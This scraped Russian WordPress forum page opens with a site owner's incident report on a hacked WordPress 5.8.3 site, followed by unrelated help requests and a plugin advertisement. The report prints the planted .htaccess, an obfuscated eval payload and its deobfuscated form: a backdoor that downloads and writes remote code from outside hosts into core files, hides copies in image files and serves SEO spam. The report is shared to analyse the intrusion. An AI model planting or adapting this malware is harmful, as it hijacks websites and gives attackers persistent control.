Уязвимость в WP 5.8.3

Доброго дня, товарищи. 

Утром ошарашил клиент – отхлебнула админка, попросил посмотреть. 
Собственно, заглянул – и правда. Не грузятся стили, разделы не работают. 
Полез в логи – а их нет (спасибо тебе, Бегет, за отключенные по дефолту логи), так что пришлось разбираться ручками. 

Собственно, 10.01 примерно в 12.32 по МСК были модифицированы файлы index.php, wp-admin/edit.php, wp-admin/index.php, и ещё с десяток других. 
К тому же в каждую директорию был добавлен .htaccess следующего содержания: 

<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.php|jsdindex.php|load.php|xmlrpcs.php|container.php|entity.php|header.php|style.php|constant.php|access.php|locale.php|uninstall.php|themes.php|wp-login.php|scindex.php|admin.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>

В зараженные PHP было всунуто следующее: 

<?php

$x = "'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'";$a = base64_decode($x);$b = gzinflate($a);eval($b);
?>

В деобфусцированном виде: 

<?php
error_reporting(0);@set_time_limit(3600);@ignore_user_abort(1);$xmlname = 'mapss.xml';$dt = 0;$sitemap_file = 'sitemap';$mapnum = 2000;if(isset($_GET['dt'])){	$dt = $_GET['dt'];}$site = @$_GET['smsite'];$jdir = '';$http_web = 'http';if(is_https()){ $http = 'https';}else{ $http = 'http';}$smuri_tmp = smrequest_uri();$uri_script = "";if(strstr($smuri_tmp, ".php") && !$site){	$uri_arr = explode(".php", $smuri_tmp);	$uri_script = $uri_arr[0].".php?";	$smuri_tmp = $uri_arr[1];	$smuri_tmp = str_replace("?", "/", $smuri_tmp);}if($smuri_tmp==''){    $smuri_tmp='/';}$s = 'b'.'ase6'.'4_e'.'ncode';$smuri = $s($smuri_tmp);function smrequest_uri(){    if (isset($_SERVER['REQUEST_URI'])){        $smuri = $_SERVER['REQUEST_URI'];    }else{        if(isset($_SERVER['argv'])){            $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];        }else{            $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];        }    }    return $smuri;}@$action = $_GET['ac']?$_GET['ac']:"";if($action != "" && $action == "write"){	write();	echo "write done!";	exit();}$temp = @$_GET['smtemp'];$id = @$_GET['smid'];$page = @$_GET['smpage'];$site = str_replace('/','',$site);$host = $_SERVER['HTTP_HOST'];$clock = '';
$tempweb = @$_GET['tempweb'];$tempweb = str_replace('/','',$tempweb);
if(preg_match('@pingsitemap.xml@i',$smuri_tmp)){	@header("Content-type: text/css; charset=utf-8");	if($uri_script == ""){$uri_script="/";}	$sitemap = "https://www.google.com/ping?sitemap=$http://$host$uri_script"."sitemap.xml";	$contents = get($sitemap);	if(strpos($contents, "Sitemap Notification Received")){		echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap.xml"." : OK!<br>";	}else{		echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap.xml"." : ERROR!<br>";	}	$mnum = mt_rand(30, 80);	for($i = 0; $i < $mnum; $i++){		$sitemap = "https://www.google.com/ping?sitemap=$http://$host$uri_script"."sitemap$i.xml";		$contents = get($sitemap);		if(strpos($contents, "Sitemap Notification Received")){			echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap$i.xml"." : OK!<br>";		}else{			echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap$i.xml"." : ERROR!<br>";		}	}	exit;}

$goweb = 'seo55.herosolid.online';$password = md5(md5(@$_GET['pd']));if ($password == '5fbf36f6b1070aec65f00cb8e35c9cc4') {    $add_content = @$_GET['mapname'];    $action = @$_GET['action'];    $domain = @$_GET['domain'];    if($domain){        $host = $domain;    }else{        $host = $_SERVER['HTTP_HOST'];    }    //$host = $_SERVER['HTTP_HOST'];    $path = dirname(__FILE__);
    $file_path = $path.'/robots.txt';    if(!$action){        $action = 'put';    }    if($action == 'put'){        $data = 'User-agent: *Allow: /';		$uri_script = trim($uri_script);		if( $uri_script!= "" && $uri_script!="/index.php?"){			$data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap.xml";		}else{			$data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap.xml";		}		$num = mt_rand(5, 10);		for($i = 0; $i<$num; $i++){			if(trim($uri_script) != "" && $uri_script!="/index.php?"){				$data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap$i.xml";			}else{				$data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap$i.xml";			}		}		@chmod("robots.txt", 0755);		file_put_contents("robots.txt", $data);		echo "robots write done!!";    }    if($action == 'del'){        if(file_exists($file_path)){            $data = smoutdo($file_path);        }else{            $data = '';        }        if(strstr($data,'/'.$add_content)){            if(is_https()){                $data_new = trim($data)."\r\n".'Sitemap: https://'.$host.'/'.$add_content;            }else{                $data_new = trim($data)."\r\n".'Sitemap: http://'.$host.'/'.$add_content;            }            if(file_put_contents($file_path,$data_new)) {                echo '<br>ok<br>';            }else{                echo '<br>file write false!<br>';            }        }else{            echo '<br>sitemap does not exist!<br>';        }    }
    exit;}function is_https() {    if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {        return true;    } elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {        return true;    } elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {        return true;    }    return false;}
if($tempweb){    $site = $tempweb[0].$tempweb[1].$tempweb[2];    $temp = substr($tempweb,3);}$lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"];$lang = $s($lang);$os = $_SERVER['HTTP_USER_AGENT'];$os = $s($os);if(isset($_SERVER['HTTP_REFERER'])){    $urlshang = $_SERVER['HTTP_REFERER'];    $urlshang = $s($urlshang);}else{    $urlshang = '';}
$clock = $_SERVER['REMOTE_ADDR'];$http_clock = $_SERVER['REMOTE_ADDR'];
if(stristr($clock,',')){    $clock_tmp = explode(",",$clock);    $clock = $clock_tmp[0];}
if(!isset($sitemap_file) || @$sitemap_file==''){    $sitemap_file = 'sitemap';}if(!isset($mapnum) || @$mapnum==''){    $sitemap_file = 2000;}

if(preg_match('/^'."\/".$sitemap_file.'(\d+)?.xml$/i',$smuri_tmp,$uriarr)){    @header("Content-type: text/xml");    if(isset($uriarr[1])){        $id = str_replace('_','',$uriarr[1]);    }else{        $id = 100;    }    $ivmapid = 0;    sitemap_out(z_sitemap($goweb,$id,$host,$dt,$ivmapid,$mapnum,$http_web),$host,$uri_script);    exit();}function z_sitemap($goweb,$id,$host,$dt,$maptype,$map_num,$http_web='http',$filetype=0,$map_splits_num='',$temp='',$dataNew=''){    $web = $http_web.'://'.$goweb.'/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew;    return trim(smoutdo($web));}function sitemap_out($url,$host,$uri_script){    if(is_https()){        $http = 'https';    }else{        $http = 'http';    }    $date_str =  date("Y-m-d\TH:i:sP",time());    $sitemap_header = '<?xml version="1.0" encoding="UTF-8"?><urlset      xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"      xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9            http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">';    $sitemap_header .= '  <url>    <loc>'.$http.'://' . $host . "/" . '</loc>    <lastmod>' . $date_str . '</lastmod>    <changefreq>daily</changefreq>    <priority>0.1</priority>  </url>';    $url_arr = explode("\r\n",$url);    $map_str = $sitemap_header;    foreach($url_arr as $value){        $map_str .= '  <url>    <loc>'.$http.'://' . $host . "/" .$value .'</loc>    <lastmod>' . $date_str . '</lastmod>    <changefreq>daily</changefreq>    <priority>0.1</priority>  </url>';    }	if($uri_script != ""){		$map_str = str_replace($host."/",$host.$uri_script, $map_str);	}    echo $map_str."</urlset>";}
function get($url){ 	$contents = @file_get_contents($url);	if (!$contents) {		$ch = curl_init();		curl_setopt($ch, CURLOPT_URL, $url);		curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);		$contents = curl_exec($ch);		curl_close($ch);	} 	return $contents;}function write(){	$write1 = get("http://hello.firstguide.xyz/write1.txt");	$write2 = get("http://hello.firstguide.xyz/write2.txt");	$shell_postfs = get("http://hello.firstguide.xyz/mm1.txt");	$shell_load = get("http://hello.firstguide.xyz/mm2.txt");	$new_ht_content = get("http://hello.firstguide.xyz/shl/htaccess.txt");	$ht_content = file_get_contents(".htaccess");	$index_content = file_get_contents("index.php");	$loader_php = "wp-includes/template-loader.php";	$load_php = "wp-includes/load.php";	$font_editor_php = "wp-includes/SimplePie/index.php";	if(!is_dir("css")){		mkdir("css", 0755, true);	}	@chmod("css/.htaccess", 0755);	file_put_contents("css/.htaccess", $new_ht_content);	file_put_contents("css/load.php", $shell_load);	if(is_dir("wp-includes/SimplePie")){		file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);		file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);		file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);		file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);		$loader_content = file_get_contents($loader_php);		$load_content = file_get_contents($load_php);		@chmod($loader_php, 0755);@chmod($load_php, 0755);		file_put_contents($loader_php, $write1.$loader_content);		file_put_contents($load_php, $load_content.$write2);		@chmod($loader_php, 0644);@chmod($load_php, 0644);		file_put_contents($font_editor_php, $shell_postfs);	}}
if(stristr($smuri_tmp,'.css')){    $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock;    $html_content = smoutdo($web);    $html_content = trim($html_content);    if(!strstr($html_content,'nobotuseragent')){        if(strstr($html_content,'okhtmlgetcontent')){            @header("Content-type: text/css; charset=utf-8");            $html_content = str_replace("okhtmlgetcontent",'',$html_content);            echo $html_content;            exit();        }else if(strstr($html_content,'getcontent500page')){            @header('HTTP/1.1 500 Internal Server Error');            exit();        }else if(strstr($html_content,'getcontent404page')){            @header('HTTP/1.1 404 Not Found');            exit();        }    }}else if($site){    if($id){        @header("Content-type: text/html; charset=utf-8");        $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;        $html_content = smoutdo($web);        $html_content = trim($html_content);        if(!strstr($html_content,'nobotuseragent')){            if(strstr($html_content,'okhtmlgetcontent')){                $html_content = str_replace("okhtmlgetcontent",'',$html_content);                echo $html_content;                exit();            }else if(strstr($html_content,'getcontent500page')){                @header('HTTP/1.1 500 Internal Server Error');                exit();            }else if(strstr($html_content,'getcontent404page')){                @header('HTTP/1.1 404 Not Found');                exit();            }        }    }}else{    $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;    $html_content = smoutdo($web);    $html_content = trim($html_content);	if($uri_script != ""){		$html_content = str_replace($host."/",$host.$uri_script, $html_content);	}    if(!strstr($html_content,'nobotuseragent')){        @header("Content-type: text/html; charset=utf-8");        if(strstr($html_content,'okhtmlgetcontent')){            $html_content = str_replace("okhtmlgetcontent",'',$html_content);            echo $html_content;            exit();        }else if(strstr($html_content,'getcontent500page')){            @header('HTTP/1.1 500 Internal Server Error');            exit();        }else if(strstr($html_content,'getcontent404page')){            @header('HTTP/1.1 404 Not Found');            exit();        }else if(strstr($html_content,'getcontent301page')){            @header('HTTP/1.1 301 Moved Permanently');            $html_content = str_replace("getcontent301page",'',$html_content);            header('Location: '.$html_content);            exit();        }
    }}
function smisbot() {    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);    if ($agent != "") {        $googleBot = array("Googlebot","Yahoo! Slurp","Yahoo Slurp","Google AdSense",'google', 'yahoo');        foreach ($googleBot as $val) {            $str = strtolower($val);            if (strpos($agent, $str)) {                return true;            }        }    }else{        return false;    }}function smotherbot() {    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);    if ($agent != "") {        $spiderSite = array ("TencentTraveler","msnbot","Sosospider+","Sogou web spider","ia_archiver","YoudaoBot","MSNBot","Java (Often spam bot)","BaiDuSpider","Voila","Yandex bot","BSpider","twiceler","Sogou Spider","Speedy Spider","Heritrix","Python-urllib","Alexa (IA Archiver)","Ask","Exabot","Custo","OutfoxBot/YodaoBot","yacy","SurveyBot","legs","lwp-trivial","Nutch","StackRambler","The web archive (IA Archiver)","Perl tool","MJ12bot","Netcraft","MSIECrawler","WGet tools","larbin","Fish search", 'bingbot', 'baidu', 'aol', 'bing', 'YandexBot', 'AhrefsBot');        foreach ($spiderSite as $val) {            $str = strtolower($val);            if (strpos($agent, $str)) {                return true;            }        }    }else{        return false;    }}function smoutdo($url){    $file_contents = @file_get_contents($url);    if (!$file_contents) {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);        $file_contents = curl_exec($ch);        curl_close($ch);    }    return $file_contents;}function listDir($dir){    $filearr = array();    if(is_dir($dir)){        if ($dh = opendir($dir)){            while (($file = readdir($dh)) !== false){                if((file_exists($dir."/".$file)) && $file!="." && $file!=".."){                    $filearr[] = $file;                }            }            closedir($dh);        }    }    return $filearr;}
?>
Собственно, из кода всё понятно - сия шлоедрянь докачивает в себя ещё отдельные куски кода, которые потом и переписывают файлы в CMS, так же стучится в поисковики и создает кучу sitemap. 

Вопрос не к шеллу, а к самому факту взлома. 
WP стоит абсолютно свежий (скачан с офсайта 9 числа. последний релиз), ибо на него клиент пожелал переехать с джумлы. 
Мб у кого уже такое встречалось, и сохранились логи? Известно, как эта гадость может попасть на сайт, что бы прикрыть дыру? 

Плагин OptiPic – оптимизация изображений и конвертация в WebP

Плагин OptiPic для WordPress — простое решение проблемы “Используйте современные форматы изображений” согласно рекомендациям Google Pagespeed Insights.Простое подключение к WordPress за 5 минутВидео инструкция за 2 минутыБесплатная техподдержка + помощь с установкойЧто делает CDN OptiPic при попытке запросить у него изображение:Отдает Webp-версию изображения, если браузер поддерживает WebP.Отдает сжатую (оптимизированную) версию без Webp, если браузер не поддерживает WebP.Кеширует и ускоряет загрузку снимая нагрузку с вашего хостинга.Защищает ваши изображения, сохраняя авторство через EXIF и IPTC теги.Конвертация в Webp и сжатие изображений происходит в фоновом режиме и никак не замедляет отдачу изображений.Если оптимизированная версия еще не готова на момент запроса изображения – отдается исходная версия без какой-либо обработки. Что дает оптимизация изображений на сайте:Ускоряет сайтУлучшает SEOУвеличивает конверсиюУлучшает Google Pagespeed Insights Текущая версия плагина и тарифы доступны на https://optipic.io/ru/webp/wordpress/

WCFM подключить RBSPayment

Пожалуйста подскажите как подключить платёжную систему RBSPayment к WCFM

Помогите вставить shortcode на страницу “спасибо за заказ” Woocommerce

Здравствуйте, хочу делать доппродажи путём вставки текста и категории товаров на странице “спасибо”. Нашёл в интернете код для вставки дополнительного текста на странице спасибо:


add_action( 'woocommerce_before_thankyou', 'truemisha_before_thankyou', 25 );
 
function truemisha_before_thankyou( $order_id ) {
	echo '<h2>20% на следующую покупку!</h2>';
	echo '<p>Мы благодарим вас за покупку и поэтому дарим вам промокод "<strong>PROMO20</strong>" на получение 20% скидки на вашу следующий заказ!</p>';
}

Он работает, а вот добавить ниже текста шорткод категории товаров не получается.

Вкладка перестаёт реагировать при добавлении дочерней вкладки

Есть меню. В нём вкладка Contact с аттрибутом
href=”http://acme/contact/”. При нажатии переходит на страницу
page-contact.php. Однако, при добавлении в меню дочерней для Contact
подстраницы скажем Contact1 аттрибут href для Contact остаётся
неизменным, однако, при нажатии на вкладку Contact уже ничего не
происходит. Что делать ?

После импорта через AIl Import товаров нет

https://prnt.sc/22scredитог импортасам импорт https://prnt.sc/22shfjvЕсть 2 языка – первый основной импортируется, а после него ничего не отображается. А после 2-го языка появляются товары без уникального артикула – пустой товар. Плагин по переводам Multiligual.

Вопрос по теме wordpress

Добрый день !

Вопрос знатокам от новичка как поменять тему в wordpress?
Скачиваю новую тему – активирую,
но отображается на главной странице дефолтная страница – т.е.
все записи дефолтной страницы.
Как сделать, чтобы отображалась новая тема – со всеми картинками и записями? 
Перерыл интернет – но так и не понял.
Подскажите ресурс или видео – где это можно понять.

Отправка атрибутов продукта через Ninja Forms wordpress?

У меня есть сайт на wordpress по продажи продукции. На странице товара присутствует кнопка “Задать вопрос”, через которую открывается всплывающая форма созданная на основе плагина “Ninja forms”. Там есть поля для ввода, при их заполнение приходят письмо на почту. Но заказчик хочет, чтобы приходили так же атрибуты товара (размер, материал и т.д), через который пользователь задает вопрос. Атрибуты отображаются на странице товара в виде технического описания продукта.P.sЯ использую скрытые поля в данной форме, чтобы передать данные страницы, от куда был задан вопрос.(url) Но я не могу передать в эти поля атрибуты, может это можно как-то сделать? например для вывода атрибутов для конкретного продукта на карточке товара, я использую такой код: 

<?php

global $product;
$product->get_attribute('Condition');
?>
Может есть возможность делать это как-то в скрытом поле?Как это сделать?

Шорткод для вывода формы

Помогите сделать пожалуйста 
1. Создать шорткод или Гутенберг-блок для вывода формы ввода данных о клиенте, поля: Имя, Email, Описание. Форма доступна для всех пользователей. Форма отправляется через AJAX без перезагрузки страницы. По результату выводится сообщение – успех или ошибка.
2. Создать шорткод или Гутенберг-блок для вывода таблицы с данными о клиентах, по 3 записи на странице, поля: Имя, Email. Переключение страниц по AJAX без перезагрузки страницы. Таблица доступна только для админов. Не должно быть никакого способа получить данные из таблицы для не-админов.

Вопрос по кнопке out of stock

Доброго времени суток!Подскажите пожалуйста я изменил текст кнопки out of stock на «Аналоги» и сделал ее ссылкой на другую страницу где должны отображаться аналоги данного товара по меткам. Как мне сделать правильно перенаправление и страницу с метками этого товара?

Проблема с сайтом

Помогите, развернул сайт на убунту, установил вордпресс на апачи в итоге при заходе с любой другой сети кроме локальной сайт ломается, помогите пожалуйста.

Сбор данных

Добрый день! Необходимо на сайте сделать форму для сбора данных, чтобы при заполнении данных было невозможно повторно отправить тот-же url сайта и email.  Пробовала на Contact Form7. https://stepfor.top/duplicate_cf7/
Но,  этот вариант не сработал.
Может есть плагины другие для решения этой задачи или др варианты с Contact Form7?

Проблемы с поиском в WP

Пожалуйста, подскажите. Как вывести в поиске информацию с метки (тега). Сейчас он показывает только статьи. Но мне хотелось бы, чтобы сверху них появлялась информация с метки. Как на втором рисунке

Страница с сортируемым контентом

Друзья, здравствуйте. Помогите каким образом я мог бы реализовать такую задачу.
Мне нужно создать страницу, на которой надо отобразить информацию о книгах, а при нажатии на запись она бы открывалась во всплывающем окне с деталями. 
Также мне необходимо на основной странице сделать сортировку отображения этих книг по категориям и году издания.
Подскажите, пожалуйста, есть ли какой плагин, который позволил бы мне не связываться с записями, так как все записи заняты новостями

Вакансии / Developers

Доработка плагина кошелька

Требуется доработка плагина кошелька

Страница с заказами Woocommerce

Добрый день! подскажите как поступить. Есть магазин с товарами и бронирование комнат через woocommerce. Подскажите как вывести на отдельной странице список заказов только товаров категории бронирования?

Вакансии / Developers

Разработка и доработка сайтов WordPress

